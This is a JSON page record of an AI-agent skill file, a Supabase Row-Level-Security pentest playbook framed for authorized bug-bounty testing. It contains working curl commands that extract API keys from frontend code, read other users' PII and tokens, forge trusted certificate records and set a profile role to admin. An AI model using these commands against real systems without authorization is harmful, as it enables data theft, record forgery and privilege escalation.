[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7F5MRTG161F78K0C0RY6R9V":3,"skill-same:01M7F5MRTG161F78K0C0RY6R9V":60},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":32,"commitSha":33,"skillDirectory":34,"forksCount":35,"repositoryHtmlUrl":36,"repositoryHomepageUrl":6,"ownerHtmlUrl":37,"ownerBlogUrl":6,"ownerDescription":38,"updatedAt":39,"install":40,"resources":53},"01M7F5MRTG161F78K0C0RY6R9V","supabase",null,"Supabase \u002F PostgREST Row-Level-Security playbook — pull the anon (or leaked service_role) key out of the frontend JS, map tables from the auto-generated OpenAPI spec, test anonymous RLS READ disclosures (PII\u002Fsecret leaks), and anonymous RLS WRITE abuse (insert\u002Fupdate\u002Fdelete — e.g. forging \"certificate\"\u002Fverification\u002Fentitlement rows the app trusts). Use when the target's frontend talks to *.supabase.co, ships an anon JWT, or you see \u002Frest\u002Fv1\u002F, \u002Fauth\u002Fv1\u002F, \u002Fstorage\u002Fv1\u002F requests.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F05-技能与代理开发\u002Fsupabase\u002FSKILL.md",[],[],"2026-11-16 10:05:34",false,"---\nname: supabase\ndescription: Supabase \u002F PostgREST Row-Level-Security playbook — pull the anon (or leaked service_role) key out of the frontend JS, map tables from the auto-generated OpenAPI spec, test anonymous RLS READ disclosures (PII\u002Fsecret leaks), and anonymous RLS WRITE abuse (insert\u002Fupdate\u002Fdelete — e.g. forging \"certificate\"\u002Fverification\u002Fentitlement rows the app trusts). Use when the target's frontend talks to *.supabase.co, ships an anon JWT, or you see \u002Frest\u002Fv1\u002F, \u002Fauth\u002Fv1\u002F, \u002Fstorage\u002Fv1\u002F requests.\nallowed-tools:\n  - http\n  - shell\n  - web_fetch\n  - grep\n  - file_write\n  - read_payloads\n  - confirm_finding\n---\n\n# Supabase RLS playbook\n\nSupabase exposes PostgreSQL directly to the browser through **PostgREST** (`\u002Frest\u002Fv1\u002F`),\n**GoTrue** auth (`\u002Fauth\u002Fv1\u002F`), and **Storage** (`\u002Fstorage\u002Fv1\u002F`). The browser authenticates\nwith a public **anon** JWT, and the *only* thing standing between an anonymous attacker and\nthe database is **Row-Level Security (RLS)** policies. Misconfigured or missing RLS is the\nentire bug class:\n\n- **RLS disclosure** — `SELECT` on a table returns rows it shouldn't (PII, tokens, other tenants).\n- **RLS write abuse** — `INSERT` \u002F `UPDATE` \u002F `DELETE` succeeds anonymously, so you can **forge\n  records the application trusts** (a \"certificate\" \u002F verification \u002F license \u002F entitlement row,\n  an admin flag, a balance, someone else's data).\n\n> Authorized targets only. Treat the database as production: read a single marker row to prove\n> disclosure, write ONE clearly-labelled marker row to prove write, then clean up. Never dump\n> whole tables of real PII, never mass-modify, never `DELETE` real rows. The PoC is \"I read\u002Fwrote\n> one row I shouldn't be able to\", not \"I exfiltrated the customer base\".\n\nExecution rule: substitute the real Supabase project ref, anon key, table, and marker IDs before running commands. Never write literal placeholders such as `\u003Cref>`, `\u003Ctable>`, `\u003Ccol>`, or `\u003Creturned-id>` to files; if a value is unknown, discover it first or ask once.\n\n---\n\n## 0. Find the project URL + anon key in the frontend JS\n\nThe project ref and anon key are *meant* to be public — they ship in the client bundle. You need\nboth before you can talk to the API.\n\n```sh\n# Pull the main page + every script it references, then grep for the markers.\ncurl -ksS \"https:\u002F\u002FTARGET\u002F\" -o \u002Ftmp\u002Fsb_index.html\ngrep -oE 'src=\"[^\"]+\\.js\"' \u002Ftmp\u002Fsb_index.html | sed 's\u002Fsrc=\"\u002F\u002F;s\u002F\"\u002F\u002F' > \u002Ftmp\u002Fsb_js.txt\n# Fetch each bundle (use the http\u002Fweb_fetch tool or curl) into \u002Ftmp\u002Fsb_bundles\u002F ...\n```\n\nGrep the HTML and every JS bundle for:\n\n```sh\n# Project URL — gives you \u003Cref>.supabase.co\ngrep -roE 'https:\u002F\u002F[a-z0-9]{20}\\.supabase\\.co' \u002Ftmp\u002Fsb_bundles\u002F | sort -u\ngrep -roiE 'supabase[._-]?url[\"'\\'' :=]+[^\"'\\'' ,)]+'   \u002Ftmp\u002Fsb_bundles\u002F\n\n# Anon \u002F service_role key — a JWT (eyJ...). Supabase keys decode to {\"role\":\"anon\"|\"service_role\"}\ngrep -roE 'eyJ[A-Za-z0-9_-]+\\.eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+' \u002Ftmp\u002Fsb_bundles\u002F | sort -u\ngrep -roiE 'supabase[._-]?(anon[._-]?)?key[\"'\\'' :=]+[^\"'\\'' ,)]+' \u002Ftmp\u002Fsb_bundles\u002F\ngrep -roiE 'createClient\\([^)]*\\)' \u002Ftmp\u002Fsb_bundles\u002F\n```\n\nAlso worth checking: `.env` \u002F `.env.local` left on the host, `\u002F_next\u002Fstatic\u002F`, source maps\n(`*.js.map`), `config.js`, and `window.__SUPABASE__` \u002F `__NEXT_DATA__` JSON blobs.\n\n### Decode every JWT you find — this is the most important triage step\n\n```sh\necho \"\u003Cjwt-payload-b64url>\" | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull | jq .\n```\n\n- `\"role\":\"anon\"`  → the normal public key. RLS is the only protection. **This is expected to\n  be public — its presence is NOT a finding by itself.** The finding is what it can *do*.\n- `\"role\":\"service_role\"` → **CRITICAL on its own.** The service_role key **bypasses RLS\n  entirely**. If it shipped to the browser (or any client-reachable place), that's a\n  full-database read\u002Fwrite disclosure — report immediately, do not need any RLS hole.\n- Note `ref` \u002F `iss` (the project ref) and `exp`.\n\nSave them for reuse:\n\n```sh\nSB=\"https:\u002F\u002F\u003Cref>.supabase.co\"\nKEY=\"eyJ...\u003Canon key>...\"\n```\n\n---\n\n## 1. Map the database from the OpenAPI spec (disclosure with zero rows)\n\nPostgREST publishes a Swagger\u002FOpenAPI document at the REST root. It lists **every table and\ncolumn the anon role can see** — a schema disclosure even before you read any data.\n\n```sh\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002F\" -H \"apikey: $KEY\" | jq '.definitions | keys'\n# or the paths:\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002F\" -H \"apikey: $KEY\" | jq '.paths | keys'\n```\n\nIf you get a schema back, record the table names. No spec? Brute a small list of likely tables:\n`read_payloads(skill=\"supabase\", file=\"common-tables.txt\")` and probe each with a `HEAD`\u002F`limit=1`\nread (next section). Pay attention to names that imply trust: `certificates`, `verifications`,\n`licenses`, `entitlements`, `subscriptions`, `kyc`, `documents`, `invites`, `roles`, `admins`.\n\n---\n\n## 2. RLS READ disclosure — what can `anon` SELECT?\n\nEvery PostgREST call needs **both** headers:\n\n```sh\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002F\u003Ctable>?select=*&limit=1\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\"\n```\n\nInterpret the response:\n\n| Response | Meaning |\n| --- | --- |\n| `200` + JSON rows | **Readable by anon.** If the table holds PII\u002Fsecrets\u002Fother tenants → disclosure finding. |\n| `200` + `[]` | RLS is filtering you out **or** the table is empty. Add no filter \u002F a known id to disambiguate. |\n| `401` \u002F `\"No API key found\"` | Missing\u002F!invalid `apikey` header. |\n| `404` | Table not exposed in this schema. |\n| `403` + code `42501` \"permission denied\" | RLS (or grants) are blocking — good, that table is protected. |\n\nTechniques once a table is readable:\n\n```sh\n# Confirm it's REAL data, not your own row: count, and pull distinct owner ids.\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002F\u003Ctable>?select=count\" -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\" \\\n     -H \"Prefer: count=exact\" -I        # Content-Range header shows total rows\n\n# Cross-tenant: read a row you do NOT own (e.g. a different user_id) to prove RLS isn't scoping.\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002Fprofiles?select=id,email,phone&user_id=eq.\u003Csomeone-elses-uuid>\" \\\n     -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\"\n\n# Column-level: even if rows are scoped, a permissive policy may expose secret columns.\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002Fusers?select=id,email,stripe_customer_id,api_token&limit=1\" \\\n     -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\"\n```\n\n**Impact for the report:** read ONE record proving you can see data you shouldn't (another\nuser's email\u002FPII, an API token, a private document URL). Quote the row count from\n`Content-Range` to show scale without dumping it.\n\n---\n\n## 3. RLS WRITE abuse — anonymous record forgery\n\nThis is the high-severity case: a missing\u002Fpermissive `INSERT`\u002F`UPDATE` policy lets `anon` create\nor mutate rows the application later trusts. \"Certificate forgery\" is the canonical example — a\n`certificates` (or `verifications` \u002F `licenses` \u002F `badges` \u002F `entitlements`) table that the app\nrenders as proof-of-something, with an `INSERT` policy of `true` (or no RLS at all).\n\n### 3a. Probe for write — INSERT a labelled marker\n\n```sh\ncurl -ksS -X POST \"$SB\u002Frest\u002Fv1\u002F\u003Ctable>\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Prefer: return=representation\" \\\n  -d '{\"\u003Ccol>\":\"PENTEST-MARKER-do-not-trust\"}'\n```\n\n| Response | Meaning |\n| --- | --- |\n| `201` + the inserted row echoed back | **Anonymous write confirmed.** Forgery is possible. |\n| `400` \"null value in column ... violates not-null\" \u002F \"column ... does not exist\" | Write is **allowed** — you just missed required columns. Add them and retry; this is still a finding. |\n| `403` `42501` \"new row violates row-level security policy\" | RLS `WITH CHECK` is blocking — protected. |\n| `401` | bad\u002Fmissing key headers. |\n\n`Prefer: return=representation` makes PostgREST echo the created row (including DB-assigned\n`id`\u002F`created_at`), which is your proof.\n\n### 3b. Forge the trusted record (the actual exploit)\n\nOnce `INSERT` works, populate the columns the app relies on to forge a record. For a certificate\ntable that means a believable, attacker-controlled \"valid\" entry:\n\n```sh\ncurl -ksS -X POST \"$SB\u002Frest\u002Fv1\u002Fcertificates\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application\u002Fjson\" -H \"Prefer: return=representation\" \\\n  -d '{\n        \"holder_name\":\"PENTEST Forged Holder\",\n        \"credential\":\"PENTEST-FORGED — proof of anon RLS write\",\n        \"status\":\"valid\",\n        \"issued_at\":\"2025-01-01T00:00:00Z\"\n      }'\n```\n\nThen **verify the forgery end-to-end**: load the public verification page \u002F API the app uses to\ncheck certificates and confirm it now reports your forged row as genuine\n(`$SB\u002Frest\u002Fv1\u002Fcertificates?id=eq.\u003Creturned-id>` or the app's own `\u002Fverify\u002F\u003Cid>` route). That\n\"the app trusts my forged record\" step is what turns this from a raw write into a real impact.\n\n### 3c. UPDATE \u002F DELETE (privilege escalation, tampering)\n\n```sh\n# Flip your own role \u002F a flag the app trusts — only if you can target a row you shouldn't own.\ncurl -ksS -X PATCH \"$SB\u002Frest\u002Fv1\u002Fprofiles?id=eq.\u003Cyour-id>\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application\u002Fjson\" -H \"Prefer: return=representation\" \\\n  -d '{\"role\":\"admin\"}'\n```\n\nOnly run `PATCH`\u002F`DELETE` against rows **you created** (your marker, your own account). A\nsuccessful `PATCH` on a column like `role`\u002F`is_admin`\u002F`balance`\u002F`verified` is a privilege-\nescalation finding; demonstrate it on your own row rather than mutating real users.\n\n### 3d. Clean up\n\nDelete every marker\u002Fforged row you created and note in the report that you did:\n\n```sh\ncurl -ksS -X DELETE \"$SB\u002Frest\u002Fv1\u002F\u003Ctable>?id=eq.\u003Cyour-marker-id>\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\"\n```\n\n---\n\n## 4. Adjacent Supabase surfaces (check while you're here)\n\n- **RPC \u002F SECURITY DEFINER functions:** `POST $SB\u002Frest\u002Fv1\u002Frpc\u002F\u003Cfn>` with `{}` — definer\n  functions run with elevated rights and often skip RLS. Enumerate from the OpenAPI `paths`.\n- **Open signup → authenticated role:** `POST $SB\u002Fauth\u002Fv1\u002Fsignup` (`{\"email\",\"password\"}`).\n  Some policies grant far more to `authenticated` than `anon`; getting a real session token may\n  unlock tables that were closed to anon. Use a throwaway address.\n- **Storage:** `GET $SB\u002Fstorage\u002Fv1\u002Fobject\u002Flist\u002F\u003Cbucket>` (with the key) and public objects at\n  `$SB\u002Fstorage\u002Fv1\u002Fobject\u002Fpublic\u002F\u003Cbucket>\u002F\u003Cpath>`. Public buckets full of private files are a\n  common disclosure.\n- **`Prefer: count=exact` + `Content-Range`** quantifies any readable table without dumping it.\n\n---\n\n## 5. Triers, severity & reporting\n\nSeverity guide (map to the program's scale; Bugcrowd VRT-style P-levels):\n\n- Leaked **service_role** key reachable by clients → **P1\u002Fcritical** (full DB read+write, RLS bypass).\n- Anonymous **write\u002Fforgery** of a trusted record, or **UPDATE** of a privilege\u002Ftrust column → **P1–P2**.\n- Anonymous **read** of other users' PII \u002F secrets \u002F tokens → **P2–P3** (scale + sensitivity).\n- Schema disclosure only (OpenAPI lists tables\u002Fcolumns, no readable rows) → **P4\u002Flow \u002F informational**.\n\nBefore you call `confirm_finding`, you MUST have:\n1. The exact request (method, URL, headers shown with the key **redacted to `apikey: \u003Canon>`**) and the response proving it.\n2. For writes: the echoed `id` of the row you created **and** evidence the app trusts it, **and** confirmation you deleted it.\n3. Concrete impact in one sentence (\"any anonymous visitor can forge a certificate the \u002Fverify page accepts as valid\").\n\n**Remediation to include:** enable RLS on every exposed table (`ALTER TABLE ... ENABLE ROW LEVEL\nSECURITY;`), write explicit `USING`\u002F`WITH CHECK` policies scoped to `auth.uid()`, never expose\nwrite to `anon`, keep `service_role` server-side only, and lock down `SECURITY DEFINER` RPCs.\n\nWhen you have a reproduced finding with a real request\u002Fresponse and impact, call `confirm_finding`.\n","# Supabase RLS playbook\n\nSupabase exposes PostgreSQL directly to the browser through **PostgREST** (`\u002Frest\u002Fv1\u002F`),\n**GoTrue** auth (`\u002Fauth\u002Fv1\u002F`), and **Storage** (`\u002Fstorage\u002Fv1\u002F`). The browser authenticates\nwith a public **anon** JWT, and the *only* thing standing between an anonymous attacker and\nthe database is **Row-Level Security (RLS)** policies. Misconfigured or missing RLS is the\nentire bug class:\n\n- **RLS disclosure** — `SELECT` on a table returns rows it shouldn't (PII, tokens, other tenants).\n- **RLS write abuse** — `INSERT` \u002F `UPDATE` \u002F `DELETE` succeeds anonymously, so you can **forge\n  records the application trusts** (a \"certificate\" \u002F verification \u002F license \u002F entitlement row,\n  an admin flag, a balance, someone else's data).\n\n> Authorized targets only. Treat the database as production: read a single marker row to prove\n> disclosure, write ONE clearly-labelled marker row to prove write, then clean up. Never dump\n> whole tables of real PII, never mass-modify, never `DELETE` real rows. The PoC is \"I read\u002Fwrote\n> one row I shouldn't be able to\", not \"I exfiltrated the customer base\".\n\nExecution rule: substitute the real Supabase project ref, anon key, table, and marker IDs before running commands. Never write literal placeholders such as `\u003Cref>`, `\u003Ctable>`, `\u003Ccol>`, or `\u003Creturned-id>` to files; if a value is unknown, discover it first or ask once.\n\n---\n\n## 0. Find the project URL + anon key in the frontend JS\n\nThe project ref and anon key are *meant* to be public — they ship in the client bundle. You need\nboth before you can talk to the API.\n\n```sh\n# Pull the main page + every script it references, then grep for the markers.\ncurl -ksS \"https:\u002F\u002FTARGET\u002F\" -o \u002Ftmp\u002Fsb_index.html\ngrep -oE 'src=\"[^\"]+\\.js\"' \u002Ftmp\u002Fsb_index.html | sed 's\u002Fsrc=\"\u002F\u002F;s\u002F\"\u002F\u002F' > \u002Ftmp\u002Fsb_js.txt\n# Fetch each bundle (use the http\u002Fweb_fetch tool or curl) into \u002Ftmp\u002Fsb_bundles\u002F ...\n```\n\nGrep the HTML and every JS bundle for:\n\n```sh\n# Project URL — gives you \u003Cref>.supabase.co\ngrep -roE 'https:\u002F\u002F[a-z0-9]{20}\\.supabase\\.co' \u002Ftmp\u002Fsb_bundles\u002F | sort -u\ngrep -roiE 'supabase[._-]?url[\"'\\'' :=]+[^\"'\\'' ,)]+'   \u002Ftmp\u002Fsb_bundles\u002F\n\n# Anon \u002F service_role key — a JWT (eyJ...). Supabase keys decode to {\"role\":\"anon\"|\"service_role\"}\ngrep -roE 'eyJ[A-Za-z0-9_-]+\\.eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+' \u002Ftmp\u002Fsb_bundles\u002F | sort -u\ngrep -roiE 'supabase[._-]?(anon[._-]?)?key[\"'\\'' :=]+[^\"'\\'' ,)]+' \u002Ftmp\u002Fsb_bundles\u002F\ngrep -roiE 'createClient\\([^)]*\\)' \u002Ftmp\u002Fsb_bundles\u002F\n```\n\nAlso worth checking: `.env` \u002F `.env.local` left on the host, `\u002F_next\u002Fstatic\u002F`, source maps\n(`*.js.map`), `config.js`, and `window.__SUPABASE__` \u002F `__NEXT_DATA__` JSON blobs.\n\n### Decode every JWT you find — this is the most important triage step\n\n```sh\necho \"\u003Cjwt-payload-b64url>\" | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull | jq .\n```\n\n- `\"role\":\"anon\"`  → the normal public key. RLS is the only protection. **This is expected to\n  be public — its presence is NOT a finding by itself.** The finding is what it can *do*.\n- `\"role\":\"service_role\"` → **CRITICAL on its own.** The service_role key **bypasses RLS\n  entirely**. If it shipped to the browser (or any client-reachable place), that's a\n  full-database read\u002Fwrite disclosure — report immediately, do not need any RLS hole.\n- Note `ref` \u002F `iss` (the project ref) and `exp`.\n\nSave them for reuse:\n\n```sh\nSB=\"https:\u002F\u002F\u003Cref>.supabase.co\"\nKEY=\"eyJ...\u003Canon key>...\"\n```\n\n---\n\n## 1. Map the database from the OpenAPI spec (disclosure with zero rows)\n\nPostgREST publishes a Swagger\u002FOpenAPI document at the REST root. It lists **every table and\ncolumn the anon role can see** — a schema disclosure even before you read any data.\n\n```sh\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002F\" -H \"apikey: $KEY\" | jq '.definitions | keys'\n# or the paths:\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002F\" -H \"apikey: $KEY\" | jq '.paths | keys'\n```\n\nIf you get a schema back, record the table names. No spec? Brute a small list of likely tables:\n`read_payloads(skill=\"supabase\", file=\"common-tables.txt\")` and probe each with a `HEAD`\u002F`limit=1`\nread (next section). Pay attention to names that imply trust: `certificates`, `verifications`,\n`licenses`, `entitlements`, `subscriptions`, `kyc`, `documents`, `invites`, `roles`, `admins`.\n\n---\n\n## 2. RLS READ disclosure — what can `anon` SELECT?\n\nEvery PostgREST call needs **both** headers:\n\n```sh\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002F\u003Ctable>?select=*&limit=1\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\"\n```\n\nInterpret the response:\n\n| Response | Meaning |\n| --- | --- |\n| `200` + JSON rows | **Readable by anon.** If the table holds PII\u002Fsecrets\u002Fother tenants → disclosure finding. |\n| `200` + `[]` | RLS is filtering you out **or** the table is empty. Add no filter \u002F a known id to disambiguate. |\n| `401` \u002F `\"No API key found\"` | Missing\u002F!invalid `apikey` header. |\n| `404` | Table not exposed in this schema. |\n| `403` + code `42501` \"permission denied\" | RLS (or grants) are blocking — good, that table is protected. |\n\nTechniques once a table is readable:\n\n```sh\n# Confirm it's REAL data, not your own row: count, and pull distinct owner ids.\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002F\u003Ctable>?select=count\" -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\" \\\n     -H \"Prefer: count=exact\" -I        # Content-Range header shows total rows\n\n# Cross-tenant: read a row you do NOT own (e.g. a different user_id) to prove RLS isn't scoping.\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002Fprofiles?select=id,email,phone&user_id=eq.\u003Csomeone-elses-uuid>\" \\\n     -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\"\n\n# Column-level: even if rows are scoped, a permissive policy may expose secret columns.\ncurl -ksS \"$SB\u002Frest\u002Fv1\u002Fusers?select=id,email,stripe_customer_id,api_token&limit=1\" \\\n     -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\"\n```\n\n**Impact for the report:** read ONE record proving you can see data you shouldn't (another\nuser's email\u002FPII, an API token, a private document URL). Quote the row count from\n`Content-Range` to show scale without dumping it.\n\n---\n\n## 3. RLS WRITE abuse — anonymous record forgery\n\nThis is the high-severity case: a missing\u002Fpermissive `INSERT`\u002F`UPDATE` policy lets `anon` create\nor mutate rows the application later trusts. \"Certificate forgery\" is the canonical example — a\n`certificates` (or `verifications` \u002F `licenses` \u002F `badges` \u002F `entitlements`) table that the app\nrenders as proof-of-something, with an `INSERT` policy of `true` (or no RLS at all).\n\n### 3a. Probe for write — INSERT a labelled marker\n\n```sh\ncurl -ksS -X POST \"$SB\u002Frest\u002Fv1\u002F\u003Ctable>\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Prefer: return=representation\" \\\n  -d '{\"\u003Ccol>\":\"PENTEST-MARKER-do-not-trust\"}'\n```\n\n| Response | Meaning |\n| --- | --- |\n| `201` + the inserted row echoed back | **Anonymous write confirmed.** Forgery is possible. |\n| `400` \"null value in column ... violates not-null\" \u002F \"column ... does not exist\" | Write is **allowed** — you just missed required columns. Add them and retry; this is still a finding. |\n| `403` `42501` \"new row violates row-level security policy\" | RLS `WITH CHECK` is blocking — protected. |\n| `401` | bad\u002Fmissing key headers. |\n\n`Prefer: return=representation` makes PostgREST echo the created row (including DB-assigned\n`id`\u002F`created_at`), which is your proof.\n\n### 3b. Forge the trusted record (the actual exploit)\n\nOnce `INSERT` works, populate the columns the app relies on to forge a record. For a certificate\ntable that means a believable, attacker-controlled \"valid\" entry:\n\n```sh\ncurl -ksS -X POST \"$SB\u002Frest\u002Fv1\u002Fcertificates\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application\u002Fjson\" -H \"Prefer: return=representation\" \\\n  -d '{\n        \"holder_name\":\"PENTEST Forged Holder\",\n        \"credential\":\"PENTEST-FORGED — proof of anon RLS write\",\n        \"status\":\"valid\",\n        \"issued_at\":\"2025-01-01T00:00:00Z\"\n      }'\n```\n\nThen **verify the forgery end-to-end**: load the public verification page \u002F API the app uses to\ncheck certificates and confirm it now reports your forged row as genuine\n(`$SB\u002Frest\u002Fv1\u002Fcertificates?id=eq.\u003Creturned-id>` or the app's own `\u002Fverify\u002F\u003Cid>` route). That\n\"the app trusts my forged record\" step is what turns this from a raw write into a real impact.\n\n### 3c. UPDATE \u002F DELETE (privilege escalation, tampering)\n\n```sh\n# Flip your own role \u002F a flag the app trusts — only if you can target a row you shouldn't own.\ncurl -ksS -X PATCH \"$SB\u002Frest\u002Fv1\u002Fprofiles?id=eq.\u003Cyour-id>\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application\u002Fjson\" -H \"Prefer: return=representation\" \\\n  -d '{\"role\":\"admin\"}'\n```\n\nOnly run `PATCH`\u002F`DELETE` against rows **you created** (your marker, your own account). A\nsuccessful `PATCH` on a column like `role`\u002F`is_admin`\u002F`balance`\u002F`verified` is a privilege-\nescalation finding; demonstrate it on your own row rather than mutating real users.\n\n### 3d. Clean up\n\nDelete every marker\u002Fforged row you created and note in the report that you did:\n\n```sh\ncurl -ksS -X DELETE \"$SB\u002Frest\u002Fv1\u002F\u003Ctable>?id=eq.\u003Cyour-marker-id>\" \\\n  -H \"apikey: $KEY\" -H \"Authorization: Bearer $KEY\"\n```\n\n---\n\n## 4. Adjacent Supabase surfaces (check while you're here)\n\n- **RPC \u002F SECURITY DEFINER functions:** `POST $SB\u002Frest\u002Fv1\u002Frpc\u002F\u003Cfn>` with `{}` — definer\n  functions run with elevated rights and often skip RLS. Enumerate from the OpenAPI `paths`.\n- **Open signup → authenticated role:** `POST $SB\u002Fauth\u002Fv1\u002Fsignup` (`{\"email\",\"password\"}`).\n  Some policies grant far more to `authenticated` than `anon`; getting a real session token may\n  unlock tables that were closed to anon. Use a throwaway address.\n- **Storage:** `GET $SB\u002Fstorage\u002Fv1\u002Fobject\u002Flist\u002F\u003Cbucket>` (with the key) and public objects at\n  `$SB\u002Fstorage\u002Fv1\u002Fobject\u002Fpublic\u002F\u003Cbucket>\u002F\u003Cpath>`. Public buckets full of private files are a\n  common disclosure.\n- **`Prefer: count=exact` + `Content-Range`** quantifies any readable table without dumping it.\n\n---\n\n## 5. Triers, severity & reporting\n\nSeverity guide (map to the program's scale; Bugcrowd VRT-style P-levels):\n\n- Leaked **service_role** key reachable by clients → **P1\u002Fcritical** (full DB read+write, RLS bypass).\n- Anonymous **write\u002Fforgery** of a trusted record, or **UPDATE** of a privilege\u002Ftrust column → **P1–P2**.\n- Anonymous **read** of other users' PII \u002F secrets \u002F tokens → **P2–P3** (scale + sensitivity).\n- Schema disclosure only (OpenAPI lists tables\u002Fcolumns, no readable rows) → **P4\u002Flow \u002F informational**.\n\nBefore you call `confirm_finding`, you MUST have:\n1. The exact request (method, URL, headers shown with the key **redacted to `apikey: \u003Canon>`**) and the response proving it.\n2. For writes: the echoed `id` of the row you created **and** evidence the app trusts it, **and** confirmation you deleted it.\n3. Concrete impact in one sentence (\"any anonymous visitor can forge a certificate the \u002Fverify page accepts as valid\").\n\n**Remediation to include:** enable RLS on every exposed table (`ALTER TABLE ... ENABLE ROW LEVEL\nSECURITY;`), write explicit `USING`\u002F`WITH CHECK` policies scoped to `auth.uid()`, never expose\nwrite to `anon`, keep `service_role` server-side only, and lock down `SECURITY DEFINER` RPCs.\n\nWhen you have a reproduced finding with a real request\u002Fresponse and impact, call `confirm_finding`.\n",{"name":5,"description":7,"allowed-tools":24},[25,26,27,28,29,30,31],"http","shell","web_fetch","grep","file_write","read_payloads","confirm_finding","main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","05-技能与代理开发\u002Fsupabase",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":41,"prompt":51,"zipAvailable":52},[42,45,48],{"tool":43,"command":44},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill supabase",{"tool":46,"command":47},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill supabase",{"tool":49,"command":50},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill supabase","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F05-技能与代理开发\u002Fsupabase\u002FSKILL.md",true,[54],{"path":55,"resourceType":56,"resourceTypeDesc":57,"sizeBytes":58,"sourceHtmlUrl":59},"payloads\u002Fcommon-tables.txt","REFERENCE","参考文档",1104,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F05-技能与代理开发\u002Fsupabase\u002Fpayloads\u002Fcommon-tables.txt",[61,68,73,80,87,94],{"skillNo":62,"name":63,"nameZh":6,"description":64,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":65,"categories":66,"keywords":67,"publishedAt":19},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],{"skillNo":69,"name":63,"nameZh":6,"description":64,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, 